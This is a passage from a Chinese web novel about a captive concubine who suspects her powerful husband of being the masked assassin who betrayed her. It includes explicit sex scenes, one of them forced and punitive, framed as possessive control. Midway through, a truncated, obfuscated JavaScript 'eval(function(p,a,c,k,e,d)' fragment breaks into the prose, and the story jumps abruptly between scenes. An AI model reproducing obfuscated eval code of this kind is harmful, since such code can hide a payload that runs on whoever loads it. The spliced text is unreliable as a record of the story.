就在姜于归思绪纷乱之际,容璟的气息骤然逼近,一切感官被席卷至巅峰,又随着他沉重的呼吸缓缓回落。 余韵未消,他却已抽身,动作并无多少留恋。 姜于归浑身酸软,趴在原处微微喘息,本该是温存或疲惫依偎的时刻,却感觉到身后的床褥一轻,容璟已起身。 容璟并未像过去无数次那样,将她揽入怀中温存,或抱去清理,他随手拉过一旁的外袍披上,动作间甚至带着一丝不易察觉的......急促? 果然,又要走。 这几日皆是如此,极致的亲密之后,不是疏离的冷漠,便是这样带着温柔面具的抽身离去,仿佛刚才的炽烈纠缠,只是一场需要及时终止的公务。 之前那点疑惑,迅速发酵成冰冷的不安。 容璟不信她。 这个念头像毒蛇一样窜入姜于归的脑海。 失去这份刚建立起来的,脆弱的信任与庇护,她将再度堕入冰冷的未知。 永嘉公主的狞笑,谢显璋面具后冰冷的眼......那些噩梦般的画面几乎要冲破理智。 那股寒意瞬间穿透了四肢百骸。 不能让容璟就这么走,若这疏远成了定例,她这几日的乖巧与那番费尽心思的“解释”就全无用处了。 她必须试探,必须知道这反常究竟是因何而起,哪怕......哪怕要放下那点可怜的自尊。 几乎是下意识的,在容璟转身欲走的刹那,姜于归猛的伸手,抓住了他寝衣的袖口。 指尖冰凉,带着轻颤。 “潜玉......” 姜于归的声音低哑,含着未散的情欲,更带着连她自己都未曾预料到的,近乎哀恳的绵软。 “别走......好不好?别走......今夜,不能留下么?” 姜于归抬起眼望向容璟,帐内光线昏暗,却足以让她看清他侧过的脸上,那瞬间凝固的神情。 不是厌烦,而是一种深沉的,被取悦的幽暗。 他喜欢姜于归这样主动的挽留,喜欢看她流露出需要他的姿态。 这反应让她心下稍定,却也更加困惑。 既然享受,为何非要离开? 容璟停下脚步,就着被她拉住的姿势,微微侧身,他伸出未被姜于归抓住的那只手,指尖抚上她的脸颊,触感温热,甚至算得上温柔。 他俯身,轻轻抬起姜于归的下巴,目光在姜于归盈着水光,混杂着情潮与不安的眼眸上流连片刻,然后,一个温柔得近乎虚幻的吻,落在她额间。 “乖。” 容璟嗓音低沉,带着事后的慵懒和一种不容辩驳的意味:“刑部确有急务,耽搁不得,你累了,好生歇着。” 容璟的理由无可挑剔,语气也无懈可击,可那抚过她脸颊的指尖,并未流连,说完便收了回去。 随即,他另一只手动了动,巧妙地用了点力道,便将她攥着衣袖的手指,不轻不重的,一根根掰开了。 动作带着一种温柔的坚决,既未伤她,也彻底断绝了她的纠缠。 掌心一空,只余容璟袖角冰凉的丝绸滑过指尖。 姜于归的手指蜷缩起来,看着容璟就那样转身,披上外袍,系好衣带,动作从容不迫,方才那一丝急促仿佛只是她的错觉,身影消失在厚重的帐幔之外,他走向门口,才吹熄了远处的灯烛。 “睡吧。” 最后两个字消散在门扉合拢的轻响中,室内彻底陷入一片死寂的黑暗。 姜于归缓缓躺回尚有余温的凌乱被褥中,身体残留的悸动与疲惫还在,心却一点点沉下去,冷下去。 那被掰开手指的触感,那温柔却不容拒绝的离去,比任何疾言厉色的质问,都更让她清晰地认识到自己的处境。 容璟未曾信姜于归。 他的享受不是假的,他的拒绝也是真的。 可这矛盾背后,究竟藏着什么? 她的乖巧,她的顺从,她的献祭般的挽留......或许在他眼中,都只是一场需要耐心观察,有待评估的演出。 而她,除了继续演下去,在这看似松缓,实则无处不在的囚笼里,抓住每一丝可能的安全感,还能如何? 疑虑如同黑暗中滋生的藤蔓,悄然缠紧了姜于归的心脏。 而比疑虑更清晰的,是一种无处着落的惶然。 姜于归以为自己递上了投名状,抓住了浮木,可那浮木,似乎并不打算让她紧紧依附。 这一夜,注定无眠。 这日午后,府里惯常请平安脉的老大夫来了汀兰水榭。 老先生须发皆白,诊脉时闭目凝神,半晌才缓缓收手,捋着胡须道:“夫人脉象平稳,只是心绪似仍有郁结未散,还需宽心静养为宜,平日饮食也可稍添些宁神的食材。” 姜于归点头应了,正待让丫鬟送客,老大夫却迟疑了片刻,像是斟酌着用词,低声道:“夫人得闲时,不妨也多劝劝世子。老朽前几日为世子请脉换药,观其气色,耗损颇巨,公务虽要紧,但也需顾惜根本,这般劳心劳力,恐于康健有碍。” 姜于归闻言微怔。 容璟近日在她面前与往常无异,甚至因她乖顺,眉眼间常带着一丝不易察觉的餍足,夜里虽不留宿,但白日相处时,并未见明显病容。 “世子......在用药?”姜于归下意识问。 老大夫叹了口气,面上带着医者纯粹的忧虑:“正是!且是外伤用药,需内服外敷,颇费心神,世子只道是旧伤略有反复,不让声张,可老朽观那用药分量与配伍,绝非寻常反复那般简单。夫人是世子身边人,若能婉言劝上一二,或能让世子稍加节制,总是有益。” 外伤药?姜于归心头一跳。 是了,谢显璋那夜行刺,虽未得手,但容璟后来依旧派人追捕,也或许在他每日的上朝下朝途中,谢显璋再次尝试行刺,容璟与其交手,或许......受了伤?只是他掩饰得好,未让她看出。 姜于归这般想着,命人送走大夫,独自坐回窗边,先前那点因容璟可能受伤而起的些微波澜,很快被更理智的推测压下。 容璟与谢显璋那般亡命之徒交手,受点伤也属寻常,他不愿她知道,或许是不想她担忧,或许......只是觉得没必要。 可不知为何,姜于归心底总有一丝说不清道不明的不安,幽幽的泛着,驱之不散。 那不安并无具体形状,只是让她坐立难宁。 午后的阳光透过窗棂,在地上投出明明灭灭的光斑,她的目光无意识的追着那些光斑移动,思绪却飘向了更晦暗的角落。 谢显璋...... 这个名字不受控制地跳了出来。 姜于归厌恶这个名字,恨不能将它从记忆里彻底剜去。 可此刻,老大夫那句外伤用药,像一把生锈的钥匙,无意间捅开了某个尘封的,她不愿回顾的角落。 破屋里,烛火摇曳,姜于归颤抖着手,用清水擦拭谢显璋肋下那道狰狞的伤口。 伤口皮肉外翻,边缘泛着不祥的青黑,那是带毒的兵刃留下的痕迹。 她记得自己当时的恐惧与专注,记得血液粘腻的触感,记得他因疼痛而紧绷的肌肉线条...... 等一下! 姜于归搁在膝上的手,指尖微微抽动了一下。 当时太过慌乱惊恐,许多细节都被浓重的血腥气和死亡的威胁掩盖了,此刻静下心来,一点模糊的,几乎被忽略的异样感,却缓慢的从记忆的深水里浮了上来。 谢显璋那道新伤口的边缘......靠近下方的某处,皮肤的颜色和纹理,似乎与周围新鲜的创伤略有不同,那并非仅仅是旧疤痕,而是一种......更隐晦的,像是曾被某种锐利物划开,愈合后留下的,比周遭皮肤略浅淡些的线性痕迹。 只是被新的,更严重的伤口覆盖,撕裂了大半,若不细看,极易被当作是创伤本身的皱褶或淤肿。 当时姜于归以为是伤口撕裂牵扯了旁边的皮肤,或是中毒导致的色泽不均。 现在想来...... 姜于归的呼吸几不可察地屏住了。 她猛的又想起了另一件事,另一处伤口。 那是更早之前,永嘉公主赏梅宴时,容璟提前回京,马车里他异样的苍白,下马车时借力的手,还有......内室里,他月白中衣上那片刺目的暗红。 姜于归曾亲手为容璟清洗,上药,包扎。那道位于左腹的刀伤,不算长,但颇深。 位置...... 谢显璋的伤口在肋下,容璟的旧伤在左腹,都偏左侧躯干。 形状......都是利刃所致。 谢显璋的伤口狰狞翻卷,容璟的旧伤当时也已皮肉外翻。 而谢显璋新伤边缘那点疑似旧痕的异样...... 一个荒谬绝伦,让姜于归瞬间头皮发麻的念头,如同冰水里陡然炸开的火星,猛的掠过脑海! 不可能! 姜于归几乎立刻在心中断然否定,指尖深深掐入掌心,用尖锐的疼痛迫使自己冷静。 谢显璋是谢显璋,容璟是容璟。 一个是阴狠背叛她的亡命之徒,一个是掌控她却也庇护她的世子。他们怎么可能是同一个人? 谢显璋恨容璟入骨,不惜与永嘉合作报复,这是姜于归亲眼所见,亲身经历的! 更何况那日,谢显璋对她行刺,容璟出手相救,容璟和谢显璋同时出现,怎么可能是同一个人呢? 姜于归安抚着自己定然是自己想多了,容璟若真是谢显璋,他图什么? 演一出自己被自己追捕,自己被自己刺杀的戏码?就为了......让她经历背叛,然后救她回来? 这想法太过荒诞,太过离奇,远超她所能理解的范畴。任何有理智的人都不会相信。 可是......那点关于伤口的模糊记忆,却像一根极细的丝线,缠绕在她心头,轻轻拉扯着。 如果......只是如果,谢显璋新伤旁那点痕迹,真的是更早的旧疤呢?如果那旧疤的位置,形状,与容璟腹部的旧伤......有某种吻合呢? 而且,从始至终,姜于归都没有见过谢显璋的真实面目,他说他是毁了容,所以戴面具......那么那个面具之下,可以是任何人......即便和容璟同时出现,也可以是......有人假扮...... 不!不会的! 天下伤势相似者何其多,容璟位高权重,树敌无数,受过伤再正常不过。 谢显璋刀头舔血,身上有旧伤更是家常便饭,这一定是巧合,是自己惊吓过度,胡思乱想。 姜于归努力说服自己,将那个可怕的念头死死压下去。 可怀疑的种子一旦落下,即便被深埋,也终究是埋下了,它不会立刻破土,却会悄无声息的扎根,在往后的每一个细节里,汲取养分。 姜于归缓缓吐出一口气,觉得胸口有些闷。 她站起身,走到窗边,推开半扇窗户,初春微凉的风涌进来,吹散了室内沉滞的药味,也让她发热的头脑清醒了些。 一定是自己想多了。 容璟近日虽不留宿,但对她并无苛责,甚至称得上温和。 府医也说了,容璟是在用外伤药,定是那夜与谢显璋交手所致。 至于谢显璋......那个卑劣的小人,他的事,不值得再耗费任何心神。 姜于归这样告诉自己,一遍又一遍。 夜色渐浓,姜于归倚在窗边,望着庭院里被月光洗得发白的石径,心里那团乱麻却越理越紧。 正欲唤人吹灯歇下,外间却传来熟悉的,不疾不徐的脚步声。 姜于归的脊背几不可察的绷直了一瞬,随即又强迫自己放松下来。 门扉被轻轻推开,容璟走了进来。 他换了身霁青色的家常直裰,墨发半挽,周身似乎还带着书房里清冷的墨香与一丝不易察觉的倦意,烛光映着他清隽的侧脸,眉眼温润,与平日并无二致。 容璟走到姜于归身边,很自然地伸手,拂开她颊边一缕被夜风吹乱的发丝,指尖温热:“还没歇着?” 姜于归垂下眼,避开容璟过于平静的注视:“正要歇。” 容璟似乎并未在意姜于归细微的闪躲,目光在她略显苍白的脸上停留片刻,语气里带着惯常的,听不出深浅的关切:“脸色怎么还是不好?可是白日庶务太耗神了?” 这般说着,容璟的手已顺势下滑,托起姜于归的下巴,迫使她抬起脸来迎向灯光,细细端详:“还是......又胡思乱想了?” 容璟的指尖力道温和,却带着不容抗拒的意味。 姜于归的心跳漏了一拍,在容璟仿佛能洞悉一切的目光下,几乎要以为他看穿了自己心底那些翻涌的,见不得光的疑虑。 “没有。” 姜于归迅速否认,声音因紧张而略显干涩:“只是......有些累了。” 容璟静静看了姜于归片刻,忽而低笑了一声,那笑声短促,意味不明。 他松开了手,却就势将她打横抱了起来。 容璟抱着姜于归走向内室那张宽大的拔步床,步履平稳:“累了便早些安置。” 身体骤然腾空,落入一个坚实温热的怀抱,鼻尖充斥着他身上清冽的沉香气息。 这曾经让姜于归恐惧抗拒的亲近,此刻却让她浑身僵硬之余,生出一种更复杂的,近乎绝望的警惕。 他今晚......要留宿? 姜于归被轻轻放在床榻上,锦缎微凉,容璟随之俯身,阴影笼罩下来。 他没有立刻动作,只是撑在她上方,目光沉沉地落在她脸上,像是在欣赏一件所有物,又像是在评估姜于归的反应。 姜于归的心脏在胸腔里狂跳,她不知道他接下来要做什么,是继续那例行公事般,却总在关键时刻疏离的亲密,还是......别的什么? 时间在寂静中仿佛被拉长,容璟的视线如有实质,缓缓扫过姜于归因紧张而轻颤的眼睫,抿紧的唇,最终停驻在微微起伏的胸口。 那目光里没有多少情欲,反而更像一种冷静的,甚至带着一丝倦怠的检视,仿佛在确认某件器物是否完好,是否依旧完全归属于他的掌控之下。 就在姜于归几乎要被这无声的压迫逼得窒息,以为自己那点心思已被彻底洞穿时,容璟几不可闻的,极轻的叹了口气。 那叹息轻得像是错觉,随即,他低下头,吻住了她的唇。 这个吻并不激烈,甚至有些心不在焉的敷衍,与其说是情动,不如说是一个标志性的,宣告开始的信号。 他的手掌带着不容置疑的力道,抚过姜于归的肩颈,引燃一串串熟悉的,却令她心底发寒的战栗。 姜于归闭上眼,强迫自己放松身体,任由意识在被迫的迎合与冰冷的清醒之间割裂,所有的感官都被放大,他呼吸的节奏,指尖的温度,以及那始终存在于她臆测中,此刻仿佛格外清晰的,他动作间可能存在的,一丝极其隐晦的凝滞与避让。 夜已深,汀兰水榭内帐幔低垂,只余一盏角落的羊角灯晕开朦胧的光,激烈的云雨方歇,空气中弥漫着情欲未散的微腥与暖融。 姜于归伏在凌乱的锦被间,气息破碎,浑身脱力,意识却像漂浮在温热水面上的冰片,清醒得发冷。 她能感觉到身侧的容璟动了,他起身的动静很轻,衣料与床褥摩擦出悉索微响,带着事后的慵懒与一种她说不出的,刻意维持的疏离。 就是此刻。 那个盘桓数日,被姜于归反复按压下去的念头,连同府医的暗示,记忆中模糊的伤口痕迹,在身体极致的疲惫与精神的极度紧绷中,拧成一股不顾一切的冲动。 在容璟即将完全离开床榻,背对着姜于归的那一瞬,姜于归不知哪里来的力气,猛的从湿软的锦被中挣脱出来,半支起身,手臂带着残存的虚软和孤注一掷的迅疾,自后向前,环抱向他劲瘦的腰身。 姜于归的目标明确,指尖意图穿过他松散的衣袍缝隙,去触碰,去确认那衣料之下,是否藏着不该有的绷带,或属于另一重身份的,或许还未痊愈的伤。 然而,姜于归的指尖甚至未能触及容璟寝衣的纹理,一只手比她更快,更稳,力道精准的截住了她的手腕。 容璟甚至没有完全转身,只是侧过半边身子,手臂向后一探,便如铁钳般牢牢拽住了姜于归两只不安分的手腕。 他的掌心滚烫,带着未褪的情欲热度,那热度却让姜于归瞬间从指尖凉到心底。 “怎么?” 容璟低沉的声音响起,带着一丝情事后的沙哑,却听不出多少意外,反而有种洞悉的平静,甚至......一丝玩味。 “还没够?” 姜于归的心脏在胸腔里狂跳,她强迫自己抬起眼,撞进他垂落的目光里。 容璟寝衣的襟口微敞,露出线条清晰的锁骨和一片胸膛,但腰腹以下,那件质地柔软的寝衣虽未完全系紧,却已妥帖地掩住了所有可能泄露秘密的痕迹,昏暗的光线下,她什么也看不清。 不能退缩,不能让容璟看出端倪。 姜于归咽下喉头的干涩,努力让脸上泛起一层薄红,眼中漾起她自己都觉得虚假的,依赖的水光,声音又软又哑,带着刻意放大的依恋:“别走......再陪陪我,好不好?” 姜于归一边说着,一边试图挣开容璟手腕的禁锢,想再次贴近,去完成那未竟的触碰。 容璟低低的笑了一声。 那笑声短促,落在寂静的夜里,却带着一种令人毛骨悚然的,了然的恶意。 容璟非但没有松开手,反而就着这个姿势,俯身逼近,另一只空着的手抬起来,拇指和食指带着不容抗拒的力道,捏住了她的下颌。 力道不轻,迫使姜于归仰起脸,完全暴露在他审视的目光下。 容璟慢条斯理的开口,气息拂在姜于归潮湿的额发上,眼神幽暗,里面翻涌着她看不懂的情绪,像是被冒犯的不悦,又像是被取悦的兴奋,最终都化为一种近乎残酷的探究。 “看来,是方才......没喂饱你?” 容璟的指尖在姜于归的脸颊上缓缓摩挲,带着薄茧的指腹刮过细腻的皮肤,激起一阵战栗。 那目光扫过姜于归强作镇定的眼,微微颤抖的唇,还有那因紧张而绷紧的颈线。 姜于归想否认,想解释,想说不是那样,可话未出口,容璟已经用行动给出了答案。 容璟捏着姜于归下颌的手松开,转而扣住了她的肩膀,另一只握住她双腕的手就势向下一压,带着不容置疑的,近乎粗暴的力道,将她重新按回锦被深处。 “想让我陪?” 容璟覆身上来,阴影完全笼罩了她,声音压得极低,却字字敲在她耳膜上,带着一种惩罚般的狠意:“那便好好受着。” “等——”姜于归惊恐的睁大眼,徒劳的想要推拒。 可容璟根本不给姜于归任何说话或反抗的机会,他封住了她的唇,不是亲吻,更像是吞噬,夺走她所有呼吸和声音。 接下来的侵占,比先前任何一次都更猛烈,更不容喘息,更像是一场宣告主权和施加惩罚的酷刑。 容璟不再有任何温存的假意,动作强势而专横,每一次深入都带着要将她拆解碾碎的力道。 姜于归起初还能勉强忍住,到后来,灭顶般的感官冲击和几乎被贯穿的痛楚,让她再也无法维持沉默,破碎的呜咽和失控的呻吟不受控制的逸出喉咙,在寂静的室内显得格外清晰而羞耻。 她像是狂风暴雨中颠簸的小舟,被彻底抛离了理智的岸,只能徒劳地攀附着他,承受着一波又一波几乎要将她意识击碎的浪潮。 不知过了多久,这场单方面的征伐才终于止歇。 容璟抽身离开时,姜于归已经连指尖都无法动弹,整个人如同被彻底碾过,瘫软在汗湿冰凉的锦褥间,眼前阵阵发黑,只有剧烈的喘息证明她还活着。 餍足的低喘在姜于归头顶响起,容璟支起身,就着昏暗的光线,欣赏着姜于归此刻彻底失神,无力再有任何心思的狼狈模样。 容璟伸手,将她汗湿粘在脸颊的发丝拨开,动作甚至算得上轻柔,却带着一种猎人对猎物完全掌控后的从容与满意。 指尖拂过姜于归红肿的唇瓣,声音恢复了平日里的平稳,却依旧带着未散的慵懒与一丝不易察觉的冷意:“现在,可还有力气胡思乱想,嗯?” 姜于归连摇头的力气都没有,只能从喉间逸出一声模糊的,近乎泣音的呜咽。 容璟似乎低笑了一声,不再多言。 他起身下榻,这一次,动作从容不迫,甚至带着一丝餍足后的慵懒,衣袍被他仔细的,一丝不苟的整理好,系带扣紧,再无半分可供窥探的缝隙。 容璟站在榻边,最后看了姜于归一眼,那目光深沉,如同看着一件终于被彻底驯服,再无反抗余地的珍玩。 “睡吧。” 他丢下这两个字,语气平淡,却带着不容置疑的命令。 随后,他转身,脚步平稳地离开了内室。门扉轻轻合拢,隔绝了外面的一切声响。 黑暗中,姜于归蜷缩着,身体深处残留着被过度使用的酸痛和某种难以言喻的空洞,泪水无声地滑落,没入鬓角。 试探失败了,败得彻底,且代价惨重。 她什么也没看到,什么也没确认,反而可能......引起了更深的怀疑。 那个关于伤口的荒谬猜想,被这场疾风骤雨般的惩罚暂时击得粉碎。 也许,真的是她想多了,容璟只是察觉了她刻意的亲近,并以此为由,加倍索取他应得的顺从罢了。 疲惫如同厚重的潮水,终于将她彻底淹没,在陷入昏睡的前一刻,她模糊的想,就这样吧,别再试探了。 在这座华美的囚笼里,知道得太多,或许并非幸事。 门外,廊下的阴影如浓墨般化开。 容璟并未立刻离开,他静静立了片刻,檐角灯笼晕开的光,在他侧脸投下一片明昧不定的阴影,愈发显得眉眼深邃,情绪难辨。 方才室内旖旎的温度似乎还残留在衣襟袖口,但那双眸子深处,最后一丝慵懒的微光已然沉淀下去,归于一片深潭似的静默。 他左手原本虚虚垂在身侧,此刻几不可察的,极轻微的向内收了一下,一个近乎本能的,细微到几乎无法察觉的调整姿态的动作。 随即,那只手又恢复了自然垂落的弧度,仿佛刚才那一瞬的凝滞只是光影造成的错觉。 只是他眼底的神色,比廊外的夜色更沉了几分。 那短暂的,反常的贴近,她手臂环过来的力度,以及指尖无意识划过他腰侧衣料时,那一点点若有似无的,不同于情动时的迟疑...... 或许连姜于归自己都未曾明确意识到那是什么,一种朦胧的探究?一丝混乱的直觉?还是被噩梦惊扰后寻求确认的不安? 无论是什么,都像是平静湖面下,一丝不该出现的,微小的逆流。 容璟缓缓抬起眼,目光投向紧闭的门扉,仿佛能穿透厚重的木料,看到里面那个正被混乱心绪缠绕的身影。 容璟脸上没有什么明显的表情,唯有唇角,似乎极其缓慢的,牵起一个细微到几乎不存在的弧度。 那并非笑意,更像是一种冷静的评估,带着某种全盘在握的,冰冷的耐心。 惊弓之鸟,对风声鹤唳格外敏感。 而他要做的,从来不是阻止鸟儿的听觉,而是确保无论它听到什么,看到什么,最终能确信唯有他掌心的方寸之地,才是唯一不会被风雨侵袭的所在。 至于那点细微的逆流?让它存在片刻也无妨。 下一次,该给她一点什么呢? 一个更清晰的对比,还是一次更温柔的警告? 容璟漫不经心的想着,如同棋手在推敲下一步无关紧要的闲棋,夜色吞没了他的背影,也吞没了所有未尽的思量。 夜风穿过回廊,带来早春深夜的寒意,容璟整了整衣袖,迈步走入更深的夜色之中,背影挺拔,步履沉稳,仿佛方才室内那场激烈的风暴,从未发生。 —————— 时值仲夏,国公府内草木葳蕤,蝉鸣聒噪,搅得人心头也添了几分莫名的燥意。 容璟前几日发了话,道是见姜于归身子将养得宜,精神也稳了,府中一应琐碎庶务,便仍交回她手上打理。 他说这话时,正倚在临窗的榻上看一份公文,语气平淡得像在说今日天气,只在末了,抬眼瞧了瞧她,添了一句:“外面如今也不太平,你既在府里,便安心些,那些不该有的心思,收一收最好。” 姜于归垂手立在一旁,闻言,眼睫轻轻颤了一下,随即温顺的应了声:“是,妾身明白。” 姜于归明白,她怎会不明白。这看似放权的举动,不过是另一重更精致的笼栅。 让她接触庶务,是让她更深的嵌入这国公府的日常肌理,用无数琐碎细务缠住她的手脚。 而府里的下人,不知从何时起,对她的称呼悄然变了。 不再是疏离的侧夫人,而是恭谨又亲近的一声夫人。 姜于归起初未曾留意,后来察觉了,心头也只掠过一丝冰冷的了然。 一个称呼罢了,是侧夫人还是夫人,于她而言,都是镌刻在囚笼上的同一个铭文。 这日,她正在花厅旁的一处敞轩里处理事务,一个念头便在这处理庶务的间隙,毫无征兆的,带着一丝微涩的凉意,悄然滑入她的心底。 秋实,素馨。 这两个名字已经很久不曾出现在姜于归的生活中,甚至不曾被刻意想起。 之前从永福公主口中得知林晏死讯,姜于归心神俱裂,回来与容璟彻底撕破脸,大病一场,浑浑噩噩。那时便隐约听说,秋实因照料不周受了罚,后来便被调离,换来了沉默谨慎的素馨。 再后来,她精心策划了第一次逃离,短暂的成功了,然后便是被抓回,戴上那无法挣脱的金铃,陷入更深的麻木与绝望。 那次被抓回来后,汀兰水榭伺候的人又换过一茬,气氛更加凝滞,秋实和素馨,更是再无踪影。 那时姜于归满心都是对自身处境的愤恨,如同困兽,无暇他顾。 可现在呢? 第二次逃离后,姜于归又回来了,没有预想中的严惩,没有加倍的囚禁,甚至外在的恩宠与信任仿佛更胜从前。 她重新开始打理庶务,下人们恭敬地唤着夫人,一切平静得近乎诡异。 这份诡异的平静,反而让她心底那点被压抑的,关于他人的惦念,缓缓浮了上来。 那两次逃离,作为曾经近身服侍姜于归的人,秋实和素馨,真的能全身而退吗?容璟那样的人,对失职的下人,又会如何? 她想起秋实最初被派来时的谨慎与打量,想起素馨沉默却细致的照料。 她们或许并非真心向着姜于归,或许只是容璟安放在她身边的耳目,但无论如何,她们是因姜于归之故,才可能遭受无妄之灾。 一丝细微的,近乎歉疚的沉重压在了心口。不为别的,只为那份牵连。 在这座吃人的府邸里,她自身难保,却终究还是连累了旁人。 哪怕那旁人也可能是监视者,可这并不能消解她们因她而受罚的可能性。 思及此,姜于归垂下眼睫,将注意力重新拉回手中的账册上,指尖划过冰冷的纸页。 这日晚膳后,容璟并未如常去书房,反而留在了内室,烛光将他侧脸的线条勾勒得愈发清隽,也投下一片沉静的阴影。 他手里把玩着一枚温润的玉扳指,目光落在跳跃的烛火上,仿佛随口,再次提及那人。 “谢显璋的踪迹,长青他们又摸到一些,此人倒真是滑不溜手。” 姜于归没应声,只轻轻嗯了一声,表示在听。 容璟似乎并不需要姜于归的回应,自顾自的说下去,语气平淡得像在讨论明日天气:“不过也无妨,老鼠总有钻出洞的时候。青龙台的人已布下网,只待他自投。” 说到这里,容璟顿了顿,抬眼看向姜于归,烛光映在他眼底,是一片深不见底的幽暗。 “此人狡猾阴毒,数次伤我麾下之人,更意图对你不利,待擒获之后,自当按律严办。青龙台的刑狱,许久未开张了。” 容璟语气里没有刻意渲染的狠厉,甚至带着一丝事务性的漠然,可正是这种浑然不觉般的平静,提及青龙台刑狱时那份理所当然的冷酷,让一股寒意悄然爬上姜于归的脊背。 她仿佛能想象那暗无天日之处,将会如何按律严办一个阴毒狡猾的逆贼。容璟说起这些时,眉宇间甚至没有一丝波动,仿佛在说碾死一只蚂蚁。 这冷血的口吻,让她的手指微微收紧,谢显璋是政敌,是逆贼,落得那般下场似乎理所当然?可这理所当然背后的血腥与无情,却让姜于归心头发冷。 一个念头不由自主地冒了出来,他对敌手如此狠绝,那对自己人呢?秋实和素馨,虽是因她之过而失职,可她们毕竟是忠心伺候他多年的人,总不至于......也落到那般可怕的境地吧? 这念头一起,便如藤蔓般缠绕上来,混合着长久以来压在心底的那丝愧疚,让她有些坐立难安。 姜于归偷偷抬眼看了一眼容璟的神色,他已然收回目光,重新看向那枚玉扳指,侧脸在烛光下显得平静无波。 或许......可以问问?只是问问她们是否安好,应该不算逾矩吧? 姜于归抿了抿唇,声音放得极轻,带着小心翼翼的试探:“世子......” 容璟抬眼看来。 姜于归鼓起勇气,迎上他的目光,声音里掺入一丝恰到好处的愧疚与不安:“秋实和素馨她们......如今可还好?当日之事,终究是妾身连累了她们......” 话音落下,室内一片寂静。 容璟没有立刻回答,他只是看着她,那双深邃的眼眸在烛光下晦暗不明,仿佛在掂量她这句话里蕴含的份量,是纯粹的关心,还是别的什么。 他脸上没有什么表情,可那沉默本身,就带着一种无形的压力。 时间一点点流逝,姜于归的心也一点点提了起来,她想起他方才说起处置谢显璋时的漠然,一个更可怕的猜想骤然升腾起来。 难道......难道他真的...... 姜于归声音里染上了真实的惊惶,微微提高了些许,带着难以置信的颤抖:“你......你不会真的......杀了她们吧?” 问出这句话时,她自己先被这可能性惊得指尖冰凉。 容璟的眉梢,几不可察的动了一下。 随即,他缓缓的,几乎算是温和的牵起了唇角。 那不是一个真正的笑容,而是一种近乎玩味的了然,仿佛姜于归终于问出了一个他意料之中,却又略显天真的问题。 “杀了她们?” 容璟重复着这四个字,语气平淡得像在讨论天气:“于归,在你心里,我就是这般滥杀无能之人么?” 他微微倾身,拉近了两人之间的距离,目光锁住姜于归眼中未散的惊悸,声音压得低而清晰,每个字都像在敲打她的神经:“秋实和素馨,确实有错,错在看护不力,错在让你有机可乘。但她们错不至死,更重要的——她们对我,有用。” 有用? 姜于归怔住了,她一时未能完全理解这句话背后的深意,她脑中飞快的转过几个念头,却都不得要领。 毕竟容璟的心思,向来比姜于归所能揣测的,要深得多,也复杂得多,她只能模糊的感觉到,有用这两个字像一层薄冰,暂时覆盖住了某种更危险的深渊,却也让她无法窥见冰下的真相。 就在姜于归心绪纷乱,不知该如何继续时,容璟的目光在她瞬间失血,依旧残留着惊惶与不安的脸庞上停留了片刻。 他似乎终于满意于姜于归此刻的忐忑,又或许是觉得火候已到,不必再吊着她,然后,他才缓缓开口,声音不高,却字字清晰,带着一种事不关己般的冷酷的陈述:“她们还活着。” 没有多余的解释,没有关于处境,惩罚,或未来的任何描述。 只是最简短的几个字,却像一把钥匙,“咔哒——”一声,暂时解开了勒在姜于归心头最紧的那道绳索。 姜于归紧绷的肩膀几不可察的松弛了一线,那口一直堵在胸腔里的,混杂着恐惧与愧疚的浊气,终于缓缓的吐了出来。 还活着,至少,还活着。 姜于归得到了一个最底线的答案,这让她敢于抬起眼,看向容璟,眼中还残留着未褪尽的水光,声音轻得几乎听不见:“多谢世子。” 谢他没有下杀手,谢他给了那两人,也给了她内心那点不堪重负的愧疚,一丝喘息的缝隙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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端午虽过,但紧接着便是六月的祭祀,消暑,以及各庄子上的夏收账目汇看,林林总总,也颇耗心神。 管家和几个管事嬷嬷捧着册子在一旁回话,丫鬟们轻手轻脚的打着扇,空气中弥漫着冰湃瓜果的淡淡清甜,和笔墨纸张特有的气味。 姜于归凝神听着,偶尔发问或批示,目光掠过底下躬身听令的众人。 那些或熟悉或半生的面孔,皆是这府中运转的齿轮,唯命是从,却也界限分明。 忽然,她的视线在一个正在廊下与内院小厮低声交代着什么的中年仆役身上,微微一顿。 那人穿着府里低级管事的靛蓝布衫,面容寻常,身量中等,属于扔进人堆里便难再寻见的模样。 可姜于归就是觉得,那侧脸的轮廓,走路的姿势,有种说不出的眼熟。 是在哪里见过? 她蹙了蹙眉,试图在记忆里打捞。 是以前在府里打过照面?还是在某次外出时瞥见过? 念头纷杂,一时却抓不住头绪。 手边还有一堆事等着决断,她只得暂且按下这莫名的在意,重新将注意力拉回账册上。 只是那模糊的影子,却像夏日午后粘在皮肤上的飞絮,拂不去,惹人微痒又心烦。 好容易将一上午的急务处理得七七八八,日头已近中天,白晃晃的光晒得地砖发烫,姜于归觉得有些气闷头眩,便让人将冰碗和绿豆汤送到水榭边的凉榻上,自己稍作歇息。 倚在凉榻上,舀了一勺冰镇过的杏仁豆腐送入口中,沁凉的甜意在舌尖化开,稍稍驱散了暑热带来的黏腻感。 她闭上眼,本想养养神,可脑海里却不听使唤的,反复闪现那个靛蓝布衫的身影。 到底......在哪里见过? 不是府里日常见惯的仆役,那是一种更短暂,更紧张情境下的印象。 好像伴随着某种......危险的气息,和昏暗的光线。 突然,像一道惨白的电光劈开混沌的夜幕! 姜于归握着甜白瓷小勺的手,猛的一僵,勺子磕在碗沿,发出“叮——”一声轻响,在寂静的午后格外清晰。 码头!是那夜在码头! 潮湿的河风,摇曳的火把,永嘉公主那个面容刻薄,眼神如毒钩的嬷嬷......以及,嬷嬷身后,那几个如铁塔般沉默,堵死了她所有去路的公主府侍卫! 那个靛蓝布衫的身影,当时就站在嬷嬷侧后方半步,火光映亮过他半张毫无表情的脸! 虽然那夜他穿着不同的服饰,但那身形,那站姿,尤其是微微佝偻着肩,似乎习惯性倾听命令的姿态......一模一样! 永嘉公主的随从......怎么会出现在荣国公府里?还俨然是一副府中做久了事的低级管事模样? 姜于归的心跳骤然失序,撞得胸腔发痛。 是细作! 这个念头如同毒蛇出洞,猛的窜入脑海。 容璟树敌无数,从他站队东宫,拒婚永福之后,睿王和永嘉公主更是恨他入骨,在府中安插眼线,再正常不过! 容璟自己也说过,别人府里有他的眼线,他的府里,自然也会有别人的! 此事必须立刻告诉容璟! 姜于归霍的站起身,冰碗被她动作带得在矮几上晃了晃,洒出几点汁水。 她顾不得这些,抬脚就要往外走。 